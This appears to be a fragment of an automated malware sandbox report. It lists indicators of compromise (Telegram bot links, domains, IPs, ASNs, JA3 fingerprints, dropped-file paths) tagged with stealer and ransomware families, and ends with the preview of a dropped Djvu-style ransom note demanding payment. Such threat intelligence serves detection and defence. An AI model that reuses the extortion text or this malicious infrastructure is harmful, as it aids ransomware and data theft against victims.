                                                                                                                                                                                                                              • telegram.dog/
                                                                                                                                                                                                                              LnSNtO8JIa.exeGet hashmaliciousCinoshi StealerBrowse
                                                                                                                                                                                                                              • t.me/cinoshibot
                                                                                                                                                                                                                              jtfCFDmLdX.exeGet hashmaliciousGurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                              • t.me/cinoshibot
                                                                                                                                                                                                                              vSlVoTPrmP.exeGet hashmaliciousGurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                              • t.me/cinoshibot
                                                                                                                                                                                                                              RO67OsrIWi.exeGet hashmaliciousGurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                              • t.me/cinoshibot
                                                                                                                                                                                                                              KeyboardRGB.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              • t.me/cinoshibot
                                                                                                                                                                                                                              file.exeGet hashmaliciousCinoshi StealerBrowse
                                                                                                                                                                                                                              • t.me/cinoshibot

                                                                                                                                                                                                                              Domains

                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                              m2reg.ulm.ac.idx5DUhRx3Eq.exeGet hashmaliciousLummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              n634pS0ANZ.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, SmokeLoader, VidarBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              L2OyId5r9o.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              742BWJCCj5.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              38QTCIw4QJ.exeGet hashmaliciousLummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              vqX34PLtA3.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              lENGBij84L.exeGet hashmaliciousLummaC, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              Oa5MQwNPBq.exeGet hashmaliciousLummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              7zofNQYPqw.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              MdO7pWHaxQ.exeGet hashmaliciousLummaC, Amadey, Fabookie, Glupteba, LummaC Stealer, PureLog Stealer, RedLineBrowse
                                                                                                                                                                                                                              • 103.23.232.80
                                                                                                                                                                                                                              resergvearyinitiani.shopfnKtfdi0P0.exeGet hashmaliciousLummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              ccQGH1mKws.exeGet hashmaliciousGlupteba, SmokeLoader, StealcBrowse
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              IIBXMzS0zN.exeGet hashmaliciousGlupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                                              • 172.67.217.100
                                                                                                                                                                                                                              31w7wI4yJl.exeGet hashmaliciousGlupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                                              • 172.67.217.100
                                                                                                                                                                                                                              x5DUhRx3Eq.exeGet hashmaliciousLummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 172.67.217.100
                                                                                                                                                                                                                              L2OyId5r9o.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              Ud2oyUzB4d.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                              • 172.67.217.100
                                                                                                                                                                                                                              742BWJCCj5.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              38QTCIw4QJ.exeGet hashmaliciousLummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                              • 172.67.217.100
                                                                                                                                                                                                                              vqX34PLtA3.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              yip.sufile.exeGet hashmaliciousBabuk, Djvu, RedLine, SmokeLoader, Stealc, Vidar, XmrigBrowse
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              BbTm8TrVqb.exeGet hashmaliciousLummaC, AsyncRAT, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog StealerBrowse
                                                                                                                                                                                                                              • 104.21.79.77
                                                                                                                                                                                                                              file.exeGet hashmaliciousStealc, VidarBrowse
                                                                                                                                                                                                                              • 104.21.79.77
                                                                                                                                                                                                                              SecuriteInfo.com.Win64.PWSX-gen.7949.23910.exeGet hashmaliciousGluptebaBrowse
                                                                                                                                                                                                                              • 104.21.79.77
                                                                                                                                                                                                                              file.exeGet hashmaliciousGlupteba, Petite Virus, SmokeLoader, Socks5SystemzBrowse
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                              • 104.21.79.77
                                                                                                                                                                                                                              t5p4kTG34O.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                              • 104.21.79.77
                                                                                                                                                                                                                              file.exeGet hashmaliciousCryptOne, onlyLoggerBrowse
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              file.exeGet hashmaliciousCryptOne, Vidar, onlyLoggerBrowse
                                                                                                                                                                                                                              • 104.21.79.77
                                                                                                                                                                                                                              file.exeGet hashmaliciousDjvu, Glupteba, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 148.251.234.93
                                                                                                                                                                                                                              speedmouse.czx5DUhRx3Eq.exeGet hashmaliciousLummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              n634pS0ANZ.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, SmokeLoader, VidarBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              L2OyId5r9o.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              742BWJCCj5.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              38QTCIw4QJ.exeGet hashmaliciousLummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              vqX34PLtA3.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              lENGBij84L.exeGet hashmaliciousLummaC, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              Oa5MQwNPBq.exeGet hashmaliciousLummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 62.109.150.87
                                                                                                                                                                                                                              7zofNQYPqw.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 62.109.150.87

                                                                                                                                                                                                                              ASNs

                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                              FREE-NET-ASFREEnetEUx5DUhRx3Eq.exeGet hashmaliciousLummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 193.233.132.32
                                                                                                                                                                                                                              https://drive.google.com/file/d/1LF23qsgas8Uf4y7j6JkBMkCM3LMQ55Ao/view?usp=sharing_eip_m&ts=65c2d16dGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              • 193.233.132.141
                                                                                                                                                                                                                              jO301Jzs4o.exeGet hashmaliciousPureLog Stealer, RedLine, zgRATBrowse
                                                                                                                                                                                                                              • 193.233.254.78
                                                                                                                                                                                                                              56hXAwKryo.exeGet hashmaliciousAmadey, RisePro StealerBrowse
                                                                                                                                                                                                                              • 193.233.132.62
                                                                                                                                                                                                                              file.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                                                                                                                                              • 193.233.132.49
                                                                                                                                                                                                                              file.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                                                                                                                                              • 193.233.132.49
                                                                                                                                                                                                                              file.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                                                                                                                                              • 193.233.132.67
                                                                                                                                                                                                                              TBcsV64JvR.exeGet hashmaliciousAmadey, RisePro StealerBrowse
                                                                                                                                                                                                                              • 193.233.132.167
                                                                                                                                                                                                                              SNdS4iXscM.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                                                                                                                                              • 193.233.132.135
                                                                                                                                                                                                                              SNdS4iXscM.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                                                                                                                                              • 193.233.132.135
                                                                                                                                                                                                                              TELEGRAMRUhttp://togetherwebuild.netGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              file.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              N4PSobGhBi.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                              • 149.154.167.220
                                                                                                                                                                                                                              n634pS0ANZ.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, SmokeLoader, VidarBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              L2OyId5r9o.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              Ompdem.exeGet hashmaliciousPureLog Stealer, Snake KeyloggerBrowse
                                                                                                                                                                                                                              • 149.154.167.220
                                                                                                                                                                                                                              FG0987600008000.jarGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                              • 149.154.167.220
                                                                                                                                                                                                                              v5jESh4zVJ.exeGet hashmaliciousPureLog Stealer, VidarBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              742BWJCCj5.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              vqX34PLtA3.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              CLOUDFLARENETUShttps://docsend.com/view/amxhmbtfuc8ktv44Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                              • 104.17.3.184
                                                                                                                                                                                                                              Yeni fatura.docx.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                              • 104.21.70.180
                                                                                                                                                                                                                              Purchase Order#2354789.xlsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                              • 172.67.187.200
                                                                                                                                                                                                                              https://flow.page/cresaGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                              • 104.17.2.184
                                                                                                                                                                                                                              https://pub-17d3a76e2d5f44dfa174aae2eda57230.r2.dev/cdes.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                              • 104.17.2.184
                                                                                                                                                                                                                              SecuriteInfo.com.Win32.DropperX-gen.27408.9076.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              #Uc1a1#Uc7a5 VF24020204-pdf.exeGet hashmaliciousAgentTesla, PureLog Stealer, RedLineBrowse
                                                                                                                                                                                                                              • 104.26.12.205
                                                                                                                                                                                                                              RFQ-#Uacac#Uc801#Uc758#Ub8b0#Uc11c-#Uacac#Uc801#Uc758#Ub8b0#Uc11c.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                              • 104.21.84.67
                                                                                                                                                                                                                              https://booking.search-13125.com/6513881796Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              • 104.18.130.236
                                                                                                                                                                                                                              fnKtfdi0P0.exeGet hashmaliciousLummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              CLOUDFLARENETUShttps://docsend.com/view/amxhmbtfuc8ktv44Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                              • 104.17.3.184
                                                                                                                                                                                                                              Yeni fatura.docx.docGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                              • 104.21.70.180
                                                                                                                                                                                                                              Purchase Order#2354789.xlsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                              • 172.67.187.200
                                                                                                                                                                                                                              https://flow.page/cresaGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                              • 104.17.2.184
                                                                                                                                                                                                                              https://pub-17d3a76e2d5f44dfa174aae2eda57230.r2.dev/cdes.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                              • 104.17.2.184
                                                                                                                                                                                                                              SecuriteInfo.com.Win32.DropperX-gen.27408.9076.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              #Uc1a1#Uc7a5 VF24020204-pdf.exeGet hashmaliciousAgentTesla, PureLog Stealer, RedLineBrowse
                                                                                                                                                                                                                              • 104.26.12.205
                                                                                                                                                                                                                              RFQ-#Uacac#Uc801#Uc758#Ub8b0#Uc11c-#Uacac#Uc801#Uc758#Ub8b0#Uc11c.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                              • 104.21.84.67
                                                                                                                                                                                                                              https://booking.search-13125.com/6513881796Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              • 104.18.130.236
                                                                                                                                                                                                                              fnKtfdi0P0.exeGet hashmaliciousLummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                                              • 104.21.94.2

                                                                                                                                                                                                                              JA3 Fingerprints

                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                              a0e9f5d64349fb13191bc781f81f42e1SecuriteInfo.com.Win32.DropperX-gen.27408.9076.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              Purchase Order List 1 & 2.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              RFQ-#Uacac#Uc801#Uc758#Ub8b0#Uc11c-#Uacac#Uc801#Uc758#Ub8b0#Uc11c.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              xaMBSwhveM.exeGet hashmaliciousAmadey, PureLog Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              fnKtfdi0P0.exeGet hashmaliciousLummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              8qYYdOgSHI.exeGet hashmaliciousAmadey, PureLog Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              aC4Qp8f9ks.exeGet hashmaliciousAmadey, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              O1yQjHheL6.exeGet hashmaliciousAmadey, PureLog Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              ccQGH1mKws.exeGet hashmaliciousGlupteba, SmokeLoader, StealcBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              IIBXMzS0zN.exeGet hashmaliciousGlupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                                              • 104.21.16.152
                                                                                                                                                                                                                              • 104.21.83.220
                                                                                                                                                                                                                              • 144.76.136.153
                                                                                                                                                                                                                              • 172.67.152.52
                                                                                                                                                                                                                              • 154.7.253.53
                                                                                                                                                                                                                              • 104.21.21.16
                                                                                                                                                                                                                              • 46.175.144.56
                                                                                                                                                                                                                              • 104.21.94.2
                                                                                                                                                                                                                              • 172.67.199.120
                                                                                                                                                                                                                              • 172.67.169.89
                                                                                                                                                                                                                              37f463bf4616ecd445d4a1937da06e19SWB YMJAM591003370.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              x5DUhRx3Eq.exeGet hashmaliciousLummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              C3441067 Non Interventional Protocol Abstract_08Feb2024.exeGet hashmaliciousGuLoader, RemcosBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              Windows InstantView 2.exeGet hashmaliciousPrivateLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              a6dezbyIs4.exeGet hashmaliciousAzorult, GuLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              O4FR7BTmYq.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              Order nr. 400289593_0.vbsGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              file.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              NMEbQXZjZ6.exeGet hashmaliciousGuLoader, LokibotBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220
                                                                                                                                                                                                                              n634pS0ANZ.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, SmokeLoader, VidarBrowse
                                                                                                                                                                                                                              • 149.154.167.99
                                                                                                                                                                                                                              • 172.67.139.220

                                                                                                                                                                                                                              Dropped Files

                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dllfile.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                                n634pS0ANZ.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, SmokeLoader, VidarBrowse
                                                                                                                                                                                                                                  L2OyId5r9o.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                                    v5jESh4zVJ.exeGet hashmaliciousPureLog Stealer, VidarBrowse
                                                                                                                                                                                                                                      742BWJCCj5.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                                        vqX34PLtA3.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                                          lENGBij84L.exeGet hashmaliciousLummaC, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                                            7zofNQYPqw.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                                              56XXzhtE4l.exeGet hashmaliciousVidar, zgRATBrowse
                                                                                                                                                                                                                                                rNUBzMB8Cm.exeGet hashmaliciousClipboard Hijacker, Djvu, Fabookie, Glupteba, RedLine, SmokeLoader, StealcBrowse
                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exen634pS0ANZ.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, SmokeLoader, VidarBrowse
                                                                                                                                                                                                                                                    L2OyId5r9o.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                                                      742BWJCCj5.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                                                        vqX34PLtA3.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                                                          lENGBij84L.exeGet hashmaliciousLummaC, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                                                            7zofNQYPqw.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse

                                                                                                                                                                                                                                                              Created / dropped Files

                                                                                                                                                                                                                                                              C:\$WinREAgent\Scratch\_README.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1319
                                                                                                                                                                                                                                                              Entropy (8bit):4.807274519269529
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWmmFRqrs6314kA+GT/kF5M2/kJw3RJphfW:WZHfv0pfNAU5WmPs41rDGT0f/kiFW
                                                                                                                                                                                                                                                              MD5:7B441486AE6539262E6C489422B7BAB9
                                                                                                                                                                                                                                                              SHA1:77313FA3462410A8F362960FD4CF8D8368C0835E
                                                                                                                                                                                                                                                              SHA-256:6A8B46103F201735919E5C1E40519A16E714AC990FC309845A64DB79A063F4A6
                                                                                                                                                                                                                                                              SHA-512:06A0F36D5C233A77EAC4D5BA47A2CFD05101B8E391B995562EB8FB3F97B8487CE2182C345F5E395B029AE70556730912F39A29104F216863E7894CE925312602
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://we.tl/t-hPAqznkJKD..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $499...Please note that you'll never restore your data without

                                                                                                                                                                                                                                                              C:\$WinREAgent\_README.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1319
